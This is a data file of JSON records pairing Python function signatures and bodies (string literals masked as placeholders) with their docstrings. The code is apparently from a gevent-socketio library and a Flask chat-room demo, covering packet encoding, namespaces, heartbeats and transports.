{"signature": "@app.route('<STR_LIT>')<EOL>def room(slug):", "body": "context = {\"<STR_LIT>\": get_object_or_404(ChatRoom, slug=slug)}<EOL>return render_template('<STR_LIT>', **context)<EOL>", "docstring": "Show a room.", "id": "f11804:m5"}
{"signature": "@app.route('<STR_LIT>', methods=['<STR_LIT:POST>'])<EOL>def create():", "body": "name = request.form.get(\"<STR_LIT:name>\")<EOL>if name:<EOL><INDENT>room, created = get_or_create(ChatRoom, name=name)<EOL>return redirect(url_for('<STR_LIT>', slug=room.slug))<EOL><DEDENT>return redirect(url_for('<STR_LIT>'))<EOL>", "docstring": "Handles post from the \"Add room\" form on the homepage, and\nredirects to the new room.", "id": "f11804:m6"}
{"signature": "def join(self, room):", "body": "self.session['<STR_LIT>'].add(self._get_room_name(room))<EOL>", "docstring": "Lets a user join a room on a specific Namespace.", "id": "f11805:c0:m1"}
{"signature": "def leave(self, room):", "body": "self.session['<STR_LIT>'].remove(self._get_room_name(room))<EOL>", "docstring": "Lets a user leave a room on a specific Namespace.", "id": "f11805:c0:m2"}
{"signature": "def emit_to_room(self, room, event, *args):", "body": "pkt = dict(type=\"<STR_LIT>\",<EOL>name=event,<EOL>args=args,<EOL>endpoint=self.ns_name)<EOL>room_name = self._get_room_name(room)<EOL>for sessid, socket in six.iteritems(self.socket.server.sockets):<EOL><INDENT>if '<STR_LIT>' not in socket.session:<EOL><INDENT>continue<EOL><DEDENT>if room_name in socket.session['<STR_LIT>'] and self.socket != socket:<EOL><INDENT>socket.send_packet(pkt)<EOL><DEDENT><DEDENT>", "docstring": "This is sent to all in the room (in this particular Namespace)", "id": "f11805:c0:m4"}
{"signature": "def broadcast_event(self, event, *args):", "body": "pkt = dict(type=\"<STR_LIT>\",<EOL>name=event,<EOL>args=args,<EOL>endpoint=self.ns_name)<EOL>for sessid, socket in six.iteritems(self.socket.server.sockets):<EOL><INDENT>socket.send_packet(pkt)<EOL><DEDENT>", "docstring": "This is sent to all in the sockets in this particular Namespace,\nincluding itself.", "id": "f11805:c1:m0"}
{"signature": "def broadcast_event_not_me(self, event, *args):", "body": "pkt = dict(type=\"<STR_LIT>\",<EOL>name=event,<EOL>args=args,<EOL>endpoint=self.ns_name)<EOL>for sessid, socket in six.iteritems(self.socket.server.sockets):<EOL><INDENT>if socket is not self.socket:<EOL><INDENT>socket.send_packet(pkt)<EOL><DEDENT><DEDENT>", "docstring": "This is sent to all in the sockets in this particular Namespace,\nexcept itself.", "id": "f11805:c1:m1"}
{"signature": "def encode(data, json_dumps=default_json_dumps):", "body": "payload = '<STR_LIT>'<EOL>msg = str(MSG_TYPES[data['<STR_LIT:type>']])<EOL>if msg in ['<STR_LIT:0>', '<STR_LIT:1>']:<EOL><INDENT>msg += '<STR_LIT>' + data['<STR_LIT>']<EOL>if '<STR_LIT>' in data and data['<STR_LIT>'] != '<STR_LIT>':<EOL><INDENT>msg += '<STR_LIT::>' + data['<STR_LIT>']<EOL><DEDENT><DEDENT>elif msg == '<STR_LIT:2>':<EOL><INDENT>msg += '<STR_LIT>'<EOL><DEDENT>elif msg in ['<STR_LIT:3>', '<STR_LIT:4>', '<STR_LIT:5>']:<EOL><INDENT>if msg == '<STR_LIT:3>':<EOL><INDENT>payload = data['<STR_LIT:data>']<EOL><DEDENT>if msg == '<STR_LIT:4>':<EOL><INDENT>payload = json_dumps(data['<STR_LIT:data>'])<EOL><DEDENT>if msg == '<STR_LIT:5>':<EOL><INDENT>d = {}<EOL>d['<STR_LIT:name>'] = data['<STR_LIT:name>']<EOL>if '<STR_LIT:args>' in data and data['<STR_LIT:args>'] != []:<EOL><INDENT>d['<STR_LIT:args>'] = data['<STR_LIT:args>']<EOL><DEDENT>payload = json_dumps(d)<EOL><DEDENT>if '<STR_LIT:id>' in data:<EOL><INDENT>msg += '<STR_LIT::>' + str(data['<STR_LIT:id>'])<EOL>if data['<STR_LIT>'] == '<STR_LIT:data>':<EOL><INDENT>msg += '<STR_LIT:+>'<EOL><DEDENT>msg += '<STR_LIT::>'<EOL><DEDENT>else:<EOL><INDENT>msg += '<STR_LIT>'<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>data['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>if payload != '<STR_LIT>':<EOL><INDENT>msg += data['<STR_LIT>'] + '<STR_LIT::>' + payload<EOL><DEDENT>else:<EOL><INDENT>msg += data['<STR_LIT>']<EOL><DEDENT><DEDENT>elif msg == '<STR_LIT>':<EOL><INDENT>msg += '<STR_LIT>' + data.get('<STR_LIT>', '<STR_LIT>') + '<STR_LIT::>' + str(data['<STR_LIT>'])<EOL>if '<STR_LIT:args>' in data and data['<STR_LIT:args>'] != []:<EOL><INDENT>msg += '<STR_LIT:+>' + json_dumps(data['<STR_LIT:args>'])<EOL><DEDENT><DEDENT>elif msg == '<STR_LIT>':<EOL><INDENT>msg += '<STR_LIT>'<EOL>if '<STR_LIT>' in data and data['<STR_LIT>'] != '<STR_LIT>':<EOL><INDENT>msg += str(ERROR_REASONS[data['<STR_LIT>']])<EOL><DEDENT>if '<STR_LIT>' in data and data['<STR_LIT>'] != '<STR_LIT>':<EOL><INDENT>msg += '<STR_LIT:+>' + str(ERROR_ADVICES[data['<STR_LIT>']])<EOL><DEDENT>msg += data['<STR_LIT>']<EOL><DEDENT>elif msg == '<STR_LIT>':<EOL><INDENT>msg += '<STR_LIT>'<EOL><DEDENT>return msg<EOL>", "docstring": "Encode an attribute dict into a byte string.", "id": "f11806:m0"}
{"signature": "def decode(rawstr, json_loads=default_json_loads):", "body": "decoded_msg = {}<EOL>try:<EOL><INDENT>rawstr = rawstr.decode('<STR_LIT:utf-8>')<EOL><DEDENT>except AttributeError:<EOL><INDENT>pass<EOL><DEDENT>split_data = rawstr.split(\"<STR_LIT::>\", <NUM_LIT:3>)<EOL>msg_type = split_data[<NUM_LIT:0>]<EOL>msg_id = split_data[<NUM_LIT:1>]<EOL>endpoint = split_data[<NUM_LIT:2>]<EOL>data = '<STR_LIT>'<EOL>if msg_id != '<STR_LIT>':<EOL><INDENT>if \"<STR_LIT:+>\" in msg_id:<EOL><INDENT>msg_id = msg_id.split('<STR_LIT:+>')[<NUM_LIT:0>]<EOL>decoded_msg['<STR_LIT:id>'] = int(msg_id)<EOL>decoded_msg['<STR_LIT>'] = '<STR_LIT:data>'<EOL><DEDENT>else:<EOL><INDENT>decoded_msg['<STR_LIT:id>'] = int(msg_id)<EOL>decoded_msg['<STR_LIT>'] = True<EOL><DEDENT><DEDENT>msg_type_id = int(msg_type)<EOL>if msg_type_id in MSG_VALUES:<EOL><INDENT>decoded_msg['<STR_LIT:type>'] = MSG_VALUES[int(msg_type)]<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\" % msg_type)<EOL><DEDENT>decoded_msg['<STR_LIT>'] = endpoint<EOL>if len(split_data) > <NUM_LIT:3>:<EOL><INDENT>data = split_data[<NUM_LIT:3>]<EOL><DEDENT>if msg_type == \"<STR_LIT:0>\":  <EOL><INDENT>pass<EOL><DEDENT>elif msg_type == \"<STR_LIT:1>\":  <EOL><INDENT>decoded_msg['<STR_LIT>'] = data<EOL><DEDENT>elif msg_type == \"<STR_LIT:2>\":  <EOL><INDENT>pass<EOL><DEDENT>elif msg_type == \"<STR_LIT:3>\":  <EOL><INDENT>decoded_msg['<STR_LIT:data>'] = data<EOL><DEDENT>elif msg_type == \"<STR_LIT:4>\":  <EOL><INDENT>decoded_msg['<STR_LIT:data>'] = json_loads(data)<EOL><DEDENT>elif msg_type == \"<STR_LIT:5>\":  <EOL><INDENT>try:<EOL><INDENT>data = json_loads(data)<EOL><DEDENT>except ValueError:<EOL><INDENT>print(\"<STR_LIT>\", data)<EOL>decoded_msg['<STR_LIT:args>'] = []<EOL><DEDENT>else:<EOL><INDENT>decoded_msg['<STR_LIT:name>'] = data.pop('<STR_LIT:name>')<EOL>if '<STR_LIT:args>' in data:<EOL><INDENT>decoded_msg['<STR_LIT:args>'] = data['<STR_LIT:args>']<EOL><DEDENT>else:<EOL><INDENT>decoded_msg['<STR_LIT:args>'] = []<EOL><DEDENT><DEDENT><DEDENT>elif msg_type == \"<STR_LIT>\":  <EOL><INDENT>if '<STR_LIT:+>' in data:<EOL><INDENT>ackId, data = data.split('<STR_LIT:+>')<EOL>decoded_msg['<STR_LIT>'] = int(ackId)<EOL>decoded_msg['<STR_LIT:args>'] = json_loads(data)<EOL><DEDENT>else:<EOL><INDENT>decoded_msg['<STR_LIT>'] = int(data)<EOL>decoded_msg['<STR_LIT:args>'] = []<EOL><DEDENT><DEDENT>elif msg_type == \"<STR_LIT>\":  <EOL><INDENT>if '<STR_LIT:+>' in data:<EOL><INDENT>reason, advice = data.split('<STR_LIT:+>')<EOL>decoded_msg['<STR_LIT>'] = REASONS_VALUES[int(reason)]<EOL>decoded_msg['<STR_LIT>'] = ADVICES_VALUES[int(advice)]<EOL><DEDENT>else:<EOL><INDENT>decoded_msg['<STR_LIT>'] = '<STR_LIT>'<EOL>if data != '<STR_LIT>':<EOL><INDENT>decoded_msg['<STR_LIT>'] = REASONS_VALUES[int(data)]<EOL><DEDENT>else:<EOL><INDENT>decoded_msg['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT><DEDENT><DEDENT>elif msg_type == \"<STR_LIT>\":  <EOL><INDENT>pass<EOL><DEDENT>return decoded_msg<EOL>", "docstring": "Decode a rawstr packet arriving from the socket into a dict.", "id": "f11806:m1"}
{"signature": "def autodiscover():", "body": "global LOADING_SOCKETIO<EOL>if LOADING_SOCKETIO:<EOL><INDENT>return<EOL><DEDENT>LOADING_SOCKETIO = True<EOL>import imp<EOL>from django.conf import settings<EOL>for app in settings.INSTALLED_APPS:<EOL><INDENT>try:<EOL><INDENT>app_path = import_module(app).__path__<EOL><DEDENT>except AttributeError:<EOL><INDENT>continue<EOL><DEDENT>try:<EOL><INDENT>imp.find_module('<STR_LIT>', app_path)<EOL><DEDENT>except ImportError:<EOL><INDENT>continue<EOL><DEDENT>import_module(\"<STR_LIT>\" % app)<EOL><DEDENT>LOADING_SOCKETIO = False<EOL>", "docstring": "Auto-discover INSTALLED_APPS sockets.py modules and fail silently when\nnot present. NOTE: socketio_autodiscover was inspired/copied from\ndjango.contrib.admin autodiscover", "id": "f11807:m0"}
{"signature": "def default_error_handler(socket, error_name, error_message, endpoint,<EOL>msg_id, quiet):", "body": "pkt = dict(type='<STR_LIT>', name='<STR_LIT:error>',<EOL>args=[error_name, error_message],<EOL>endpoint=endpoint)<EOL>if msg_id:<EOL><INDENT>pkt['<STR_LIT:id>'] = msg_id<EOL><DEDENT>if not quiet:<EOL><INDENT>socket.send_packet(pkt)<EOL><DEDENT>log.error(u\"<STR_LIT>\".format(<EOL>error_name, error_message, endpoint, msg_id<EOL>))<EOL>", "docstring": "This is the default error handler, you can override this when\n    calling :func:`socketio.socketio_manage`.\n\n    It basically sends an event through the socket with the 'error' name.\n\n    See documentation for :meth:`Socket.error`.\n\n    :param quiet: if quiet, this handler will not send a packet to the\n                  user, but only log for the server developer.", "id": "f11809:m0"}
{"signature": "def _set_namespaces(self, namespaces):", "body": "self.namespaces = namespaces<EOL>", "docstring": "This is a mapping (dict) of the different '/namespaces' to their\n        BaseNamespace object derivative.\n\n        This is called by socketio_manage().", "id": "f11809:c0:m1"}
{"signature": "def _set_request(self, request):", "body": "self.request = request<EOL>", "docstring": "Saves the request object for future use by the different Namespaces.\n\n        This is called by socketio_manage().", "id": "f11809:c0:m2"}
{"signature": "def _set_environ(self, environ):", "body": "self.environ = environ<EOL>", "docstring": "Save the WSGI environ, for future use.\n\n        This is called by socketio_manage().", "id": "f11809:c0:m3"}
{"signature": "def _set_error_handler(self, error_handler):", "body": "self.error_handler = error_handler<EOL>", "docstring": "Changes the default error_handler function to the one specified\n\n        This is called by socketio_manage().", "id": "f11809:c0:m4"}
{"signature": "def _set_json_loads(self, json_loads):", "body": "self.json_loads = json_loads<EOL>", "docstring": "Change the default JSON decoder.\n\n        This should be a callable that accepts a single string, and returns\n        a well-formed object.", "id": "f11809:c0:m5"}
{"signature": "def _set_json_dumps(self, json_dumps):", "body": "self.json_dumps = json_dumps<EOL>", "docstring": "Change the default JSON decoder.\n\n        This should be a callable that accepts a single string, and returns\n        a well-formed object.", "id": "f11809:c0:m6"}
{"signature": "def _get_next_msgid(self):", "body": "self.ack_counter += <NUM_LIT:1><EOL>return self.ack_counter<EOL>", "docstring": "This retrieves the next value for the 'id' field when sending\n        an 'event' or 'message' or 'json' that asks the remote client\n        to 'ack' back, so that we trigger the local callback.", "id": "f11809:c0:m7"}
{"signature": "def _save_ack_callback(self, msgid, callback):", "body": "if msgid in self.ack_callbacks:<EOL><INDENT>return False<EOL><DEDENT>self.ack_callbacks[msgid] = callback<EOL>", "docstring": "Keep a reference of the callback on this socket.", "id": "f11809:c0:m8"}
{"signature": "def _pop_ack_callback(self, msgid):", "body": "if msgid not in self.ack_callbacks:<EOL><INDENT>return None<EOL><DEDENT>return self.ack_callbacks.pop(msgid)<EOL>", "docstring": "Fetch the callback for a given msgid, if it exists, otherwise,\n        return None", "id": "f11809:c0:m9"}
{"signature": "def __getitem__(self, key):", "body": "return self.active_ns[key]<EOL>", "docstring": "This will get the nested Namespace using its '/chat' reference.\n\n        Using this, you can go from one Namespace to the other (to emit, add\n        ACLs, etc..) with:\n\n          adminnamespace.socket['/chat'].add_acl_method('kick-ban')", "id": "f11809:c0:m11"}
{"signature": "def __hasitem__(self, key):", "body": "return key in self.active_ns<EOL>", "docstring": "Verifies if the namespace is active (was initialized)", "id": "f11809:c0:m12"}
{"signature": "@property<EOL><INDENT>def connected(self):<DEDENT>", "body": "return self.state == self.STATE_CONNECTED<EOL>", "docstring": "Returns whether the state is CONNECTED or not.", "id": "f11809:c0:m13"}
{"signature": "def heartbeat(self):", "body": "self.timeout.set()<EOL>", "docstring": "This makes the heart beat for another X seconds.  Call this when\n        you get a heartbeat packet in.\n\n        This clear the heartbeat disconnect timeout (resets for X seconds).", "id": "f11809:c0:m15"}
{"signature": "def kill(self, detach=False):", "body": "<EOL>self.ack_callbacks = {}<EOL>if self.connected:<EOL><INDENT>self.state = self.STATE_DISCONNECTING<EOL>self.server_queue.put_nowait(None)<EOL>self.client_queue.put_nowait(None)<EOL>if len(self.active_ns) > <NUM_LIT:0>:<EOL><INDENT>log.debug(\"<STR_LIT>\" % self)<EOL>self.disconnect()<EOL><DEDENT><DEDENT>if detach:<EOL><INDENT>self.detach()<EOL><DEDENT>gevent.killall(self.jobs)<EOL>", "docstring": "This function must/will be called when a socket is to be completely\n        shut down, closed by connection timeout, connection error or explicit\n        disconnection from the client.\n\n        It will call all of the Namespace's\n        :meth:`~socketio.namespace.BaseNamespace.disconnect` methods\n        so that you can shut-down things properly.", "id": "f11809:c0:m16"}
{"signature": "def detach(self):", "body": "log.debug(\"<STR_LIT>\" % self)<EOL>if self.sessid in self.server.sockets:<EOL><INDENT>self.server.sockets.pop(self.sessid)<EOL><DEDENT>", "docstring": "Detach this socket from the server. This should be done in\n        conjunction with kill(), once all the jobs are dead, detach the\n        socket for garbage collection.", "id": "f11809:c0:m17"}
{"signature": "def put_server_msg(self, msg):", "body": "self.heartbeat()<EOL>self.server_queue.put_nowait(msg)<EOL>", "docstring": "Writes to the server's pipe, to end up in in the Namespaces", "id": "f11809:c0:m18"}
{"signature": "def put_client_msg(self, msg):", "body": "self.client_queue.put_nowait(msg)<EOL>", "docstring": "Writes to the client's pipe, to end up in the browser", "id": "f11809:c0:m19"}
{"signature": "def get_client_msg(self, **kwargs):", "body": "return self.client_queue.get(**kwargs)<EOL>", "docstring": "Grab a message to send it to the browser", "id": "f11809:c0:m20"}
{"signature": "def get_server_msg(self, **kwargs):", "body": "return self.server_queue.get(**kwargs)<EOL>", "docstring": "Grab a message, to process it by the server and dispatch calls", "id": "f11809:c0:m21"}
{"signature": "def get_multiple_client_msgs(self, **kwargs):", "body": "client_queue = self.client_queue<EOL>msgs = [client_queue.get(**kwargs)]<EOL>while client_queue.qsize():<EOL><INDENT>msgs.append(client_queue.get())<EOL><DEDENT>return msgs<EOL>", "docstring": "Get multiple messages, in case we're going through the various\n        XHR-polling methods, on which we can pack more than one message if the\n        rate is high, and encode the payload for the HTTP channel.", "id": "f11809:c0:m22"}
{"signature": "def error(self, error_name, error_message, endpoint=None, msg_id=None,<EOL>quiet=False):", "body": "handler = self.error_handler<EOL>return handler(<EOL>self, error_name, error_message, endpoint, msg_id, quiet)<EOL>", "docstring": "Send an error to the user, using the custom or default\n        ErrorHandler configured on the [TODO: Revise this] Socket/Handler\n        object.\n\n        :param error_name: is a simple string, for easy association on\n                           the client side\n\n        :param error_message: is a human readable message, the user\n                              will eventually see\n\n        :param endpoint: set this if you have a message specific to an\n                         end point\n\n        :param msg_id: set this if your error is relative to a\n                       specific message\n\n        :param quiet: way to make the error handler quiet. Specific to\n                      the handler.  The default handler will only log,\n                      with quiet.", "id": "f11809:c0:m23"}
{"signature": "def disconnect(self, silent=False):", "body": "for ns_name, ns in list(six.iteritems(self.active_ns)):<EOL><INDENT>ns.recv_disconnect()<EOL><DEDENT>", "docstring": "Calling this method will call the\n        :meth:`~socketio.namespace.BaseNamespace.disconnect` method on\n        all the active Namespaces that were open, killing all their\n        jobs and sending 'disconnect' packets for each of them.\n\n        Normally, the Global namespace (endpoint = '') has special meaning,\n        as it represents the whole connection,\n\n        :param silent: when True, pass on the ``silent`` flag to the Namespace\n                       :meth:`~socketio.namespace.BaseNamespace.disconnect`\n                       calls.", "id": "f11809:c0:m24"}
{"signature": "def remove_namespace(self, namespace):", "body": "if namespace in self.active_ns:<EOL><INDENT>del self.active_ns[namespace]<EOL><DEDENT>if len(self.active_ns) == <NUM_LIT:0> and self.connected:<EOL><INDENT>self.kill(detach=True)<EOL><DEDENT>", "docstring": "This removes a Namespace object from the socket.\n\n        This is usually called by\n        :meth:`~socketio.namespace.BaseNamespace.disconnect`.", "id": "f11809:c0:m25"}
{"signature": "def send_packet(self, pkt):", "body": "self.put_client_msg(packet.encode(pkt, self.json_dumps))<EOL>", "docstring": "Low-level interface to queue a packet on the wire (encoded as wire\n        protocol", "id": "f11809:c0:m26"}
{"signature": "def spawn(self, fn, *args, **kwargs):", "body": "log.debug(\"<STR_LIT>\" % fn.__name__)<EOL>job = gevent.spawn(fn, *args, **kwargs)<EOL>self.jobs.append(job)<EOL>return job<EOL>", "docstring": "Spawn a new Greenlet, attached to this Socket instance.\n\n        It will be monitored by the \"watcher\" method", "id": "f11809:c0:m27"}
{"signature": "def _receiver_loop(self):", "body": "while True:<EOL><INDENT>rawdata = self.get_server_msg()<EOL>if not rawdata:<EOL><INDENT>continue  <EOL><DEDENT>try:<EOL><INDENT>pkt = packet.decode(rawdata, self.json_loads)<EOL><DEDENT>except (ValueError, KeyError, Exception) as e:<EOL><INDENT>self.error('<STR_LIT>',<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (rawdata[:<NUM_LIT:20>], e))<EOL>continue<EOL><DEDENT>if pkt['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>if pkt['<STR_LIT:type>'] == '<STR_LIT>' and pkt['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>self.kill(detach=True)<EOL>continue<EOL><DEDENT>endpoint = pkt['<STR_LIT>']<EOL>if endpoint not in self.namespaces:<EOL><INDENT>self.error(\"<STR_LIT>\",<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % endpoint, endpoint=endpoint)<EOL>continue<EOL><DEDENT>elif endpoint in self.active_ns:<EOL><INDENT>pkt_ns = self.active_ns[endpoint]<EOL><DEDENT>else:<EOL><INDENT>new_ns_class = self.namespaces[endpoint]<EOL>pkt_ns = new_ns_class(self.environ, endpoint,<EOL>request=self.request)<EOL>for cls in type(pkt_ns).__mro__:<EOL><INDENT>if hasattr(cls, '<STR_LIT>'):<EOL><INDENT>cls.initialize(pkt_ns)  <EOL><DEDENT><DEDENT>self.active_ns[endpoint] = pkt_ns<EOL><DEDENT>retval = pkt_ns.process_packet(pkt)<EOL>if pkt.get('<STR_LIT>') == \"<STR_LIT:data>\" and pkt.get('<STR_LIT:id>'):<EOL><INDENT>if type(retval) is tuple:<EOL><INDENT>args = list(retval)<EOL><DEDENT>else:<EOL><INDENT>args = [retval]<EOL><DEDENT>returning_ack = dict(type='<STR_LIT>', ackId=pkt['<STR_LIT:id>'],<EOL>args=args,<EOL>endpoint=pkt.get('<STR_LIT>', '<STR_LIT>'))<EOL>self.send_packet(returning_ack)<EOL><DEDENT>if not self.connected:<EOL><INDENT>self.kill(detach=True)  <EOL>return<EOL><DEDENT><DEDENT>", "docstring": "This is the loop that takes messages from the queue for the server\n        to consume, decodes them and dispatches them.\n\n        It is the main loop for a socket.  We join on this process before\n        returning control to the web framework.\n\n        This process is not tracked by the socket itself, it is not going\n        to be killed by the ``gevent.killall(socket.jobs)``, so it must\n        exit gracefully itself.", "id": "f11809:c0:m28"}
{"signature": "def _spawn_receiver_loop(self):", "body": "job = gevent.spawn(self._receiver_loop)<EOL>self.jobs.append(job)<EOL>return job<EOL>", "docstring": "Spawns the reader loop.  This is called internall by\n        socketio_manage().", "id": "f11809:c0:m29"}
{"signature": "def _watcher(self):", "body": "while True:<EOL><INDENT>gevent.sleep(<NUM_LIT:1.0>)<EOL>if not self.connected:<EOL><INDENT>for ns_name, ns in list(six.iteritems(self.active_ns)):<EOL><INDENT>ns.recv_disconnect()<EOL><DEDENT>gevent.killall(self.jobs)<EOL>break<EOL><DEDENT><DEDENT>", "docstring": "Watch out if we've been disconnected, in that case, kill\n        all the jobs.", "id": "f11809:c0:m30"}
{"signature": "def _spawn_watcher(self):", "body": "job = gevent.spawn(self._watcher)<EOL>return job<EOL>", "docstring": "This one is not waited for with joinall(socket.jobs), as it\n        is an external watcher, to clean up when everything is done.", "id": "f11809:c0:m31"}
{"signature": "def _heartbeat(self):", "body": "interval = self.config['<STR_LIT>']<EOL>while self.connected:<EOL><INDENT>gevent.sleep(interval)<EOL>self.put_client_msg(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Start the heartbeat Greenlet to check connection health.", "id": "f11809:c0:m32"}
{"signature": "def _spawn_heartbeat(self):", "body": "self.spawn(self._heartbeat)<EOL>self.spawn(self._heartbeat_timeout)<EOL>", "docstring": "This functions returns a list of jobs", "id": "f11809:c0:m34"}
{"signature": "def serve_paste(app, global_conf, **kw):", "body": "serve(app, **kw)<EOL>return <NUM_LIT:0><EOL>", "docstring": "pserve / paster serve / waitress replacement / integration\n\n    You can pass as parameters:\n\n    transports = websockets, xhr-multipart, xhr-longpolling, etc...\n    policy_server = True", "id": "f11810:m1"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "self.sockets = {}<EOL>if '<STR_LIT>' in kwargs:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>self.resource = kwargs.pop('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>self.resource = kwargs.pop('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>self.transports = kwargs.pop('<STR_LIT>', None)<EOL>if kwargs.pop('<STR_LIT>', True):<EOL><INDENT>try:<EOL><INDENT>address = args[<NUM_LIT:0>][<NUM_LIT:0>]<EOL><DEDENT>except TypeError:<EOL><INDENT>try:<EOL><INDENT>address = args[<NUM_LIT:0>].address[<NUM_LIT:0>]<EOL><DEDENT>except AttributeError:<EOL><INDENT>address = args[<NUM_LIT:0>].cfg_addr[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>policylistener = kwargs.pop('<STR_LIT>', (address, <NUM_LIT>))<EOL>self.policy_server = FlashPolicyServer(policylistener)<EOL><DEDENT>else:<EOL><INDENT>self.policy_server = None<EOL><DEDENT>self.config = {<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>}<EOL>for f in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>if f in kwargs:<EOL><INDENT>self.config[f] = int(kwargs.pop(f))<EOL><DEDENT><DEDENT>if not '<STR_LIT>' in kwargs:<EOL><INDENT>kwargs['<STR_LIT>'] = SocketIOHandler<EOL><DEDENT>if not '<STR_LIT>' in kwargs:<EOL><INDENT>self.ws_handler_class = WebSocketHandler<EOL><DEDENT>else:<EOL><INDENT>self.ws_handler_class = kwargs.pop('<STR_LIT>')<EOL><DEDENT>log_file = kwargs.pop('<STR_LIT>', None)<EOL>if log_file:<EOL><INDENT>kwargs['<STR_LIT>'] = open(log_file, '<STR_LIT:a>')<EOL><DEDENT>super(SocketIOServer, self).__init__(*args, **kwargs)<EOL>", "docstring": "This is just like the standard WSGIServer __init__, except with a\n        few additional ``kwargs``:\n\n        :param resource: The URL which has to be identified as a\n            socket.io request.  Defaults to the /socket.io/ URL.\n\n        :param transports: Optional list of transports to allow. List of\n            strings, each string should be one of\n            handler.SocketIOHandler.handler_types.\n\n        :param policy_server: Boolean describing whether or not to use the\n            Flash policy server.  Default True.\n\n        :param policy_listener: A tuple containing (host, port) for the\n            policy server.  This is optional and used only if policy server\n            is set to true.  The default value is 0.0.0.0:843\n\n        :param heartbeat_interval: int The timeout for the server, we\n            should receive a heartbeat from the client within this\n            interval. This should be less than the\n            ``heartbeat_timeout``.\n\n        :param heartbeat_timeout: int The timeout for the client when\n            it should send a new heartbeat to the server. This value\n            is sent to the client after a successful handshake.\n\n        :param close_timeout: int The timeout for the client, when it\n            closes the connection it still X amounts of seconds to do\n            re open of the connection. This value is sent to the\n            client after a successful handshake.\n\n        :param log_file: str The file in which you want the PyWSGI\n            server to write its access log.  If not specified, it\n            is sent to `stderr` (with gevent 0.13).", "id": "f11810:c0:m0"}
{"signature": "def get_socket(self, sessid='<STR_LIT>'):", "body": "socket = self.sockets.get(sessid)<EOL>if sessid and not socket:<EOL><INDENT>return None  <EOL><DEDENT>if socket is None:<EOL><INDENT>socket = Socket(self, self.config)<EOL>self.sockets[socket.sessid] = socket<EOL><DEDENT>else:<EOL><INDENT>socket.incr_hits()<EOL><DEDENT>return socket<EOL>", "docstring": "Return an existing or new client Socket.", "id": "f11810:c0:m4"}
{"signature": "def __init__(self, handler, config, **kwargs):", "body": "self.content_type = (\"<STR_LIT:Content-Type>\", \"<STR_LIT>\")<EOL>self.headers = [<EOL>(\"<STR_LIT>\", \"<STR_LIT:*>\"),<EOL>(\"<STR_LIT>\", \"<STR_LIT:true>\"),<EOL>(\"<STR_LIT>\", \"<STR_LIT>\"),<EOL>(\"<STR_LIT>\", \"<STR_LIT>\"),<EOL>]<EOL>self.handler = handler<EOL>self.config = config<EOL>", "docstring": "Base transport class.\n\n        :param config: dict Should contain the config keys, like\n          ``heartbeat_interval``, ``heartbeat_timeout`` and\n          ``close_timeout``.", "id": "f11811:c0:m0"}
{"signature": "def get_messages_payload(self, socket, timeout=None):", "body": "try:<EOL><INDENT>msgs = socket.get_multiple_client_msgs(timeout=timeout)<EOL>data = self.encode_payload(msgs)<EOL><DEDENT>except Empty:<EOL><INDENT>data = \"<STR_LIT>\"<EOL><DEDENT>return data<EOL>", "docstring": "This will fetch the messages from the Socket's queue, and if\n        there are many messes, pack multiple messages in one payload and return", "id": "f11811:c1:m5"}
{"signature": "def encode_payload(self, messages):", "body": "if not messages or messages[<NUM_LIT:0>] is None:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>if len(messages) == <NUM_LIT:1>:<EOL><INDENT>return messages[<NUM_LIT:0>].encode('<STR_LIT:utf-8>')<EOL><DEDENT>payload = u'<STR_LIT>'.join([(u'<STR_LIT>' % (len(p), p))<EOL>for p in messages if p is not None])<EOL>return payload.encode('<STR_LIT:utf-8>')<EOL>", "docstring": "Encode list of messages. Expects messages to be unicode.\n\n        ``messages`` - List of raw messages to encode, if necessary", "id": "f11811:c1:m6"}
{"signature": "def decode_payload(self, payload):", "body": "payload = payload.decode('<STR_LIT:utf-8>')<EOL>if payload[<NUM_LIT:0>] == u\"<STR_LIT>\":<EOL><INDENT>ret = []<EOL>while len(payload) != <NUM_LIT:0>:<EOL><INDENT>len_end = payload.find(u\"<STR_LIT>\", <NUM_LIT:1>)<EOL>length = int(payload[<NUM_LIT:1>:len_end])<EOL>msg_start = len_end + <NUM_LIT:1><EOL>msg_end = length + msg_start<EOL>message = payload[msg_start:msg_end]<EOL>ret.append(message)<EOL>payload = payload[msg_end:]<EOL><DEDENT>return ret<EOL><DEDENT>return [payload]<EOL>", "docstring": "This function can extract multiple messages from one HTTP payload.\n        Some times, the XHR/JSONP/.. transports can pack more than one message\n        on a single packet.  They are encoding following the WebSocket\n        semantics, which need to be reproduced here to unwrap the messages.\n\n        The semantics are:\n\n          \\ufffd + [length as a string] + \\ufffd + [payload as a unicode string]\n\n        This function returns a list of messages, even though there is only\n        one.\n\n        Inspired by socket.io/lib/transports/http.js", "id": "f11811:c1:m7"}
{"signature": "def write(self, data):", "body": "args = parse_qs(self.handler.environ.get(\"<STR_LIT>\"))<EOL>if \"<STR_LIT:i>\" in args:<EOL><INDENT>i = args[\"<STR_LIT:i>\"]<EOL><DEDENT>else:<EOL><INDENT>i = \"<STR_LIT:0>\"<EOL><DEDENT>super(JSONPolling, self).write(\"<STR_LIT>\" % (i, data))<EOL>", "docstring": "Just quote out stuff before sending it out", "id": "f11811:c2:m2"}
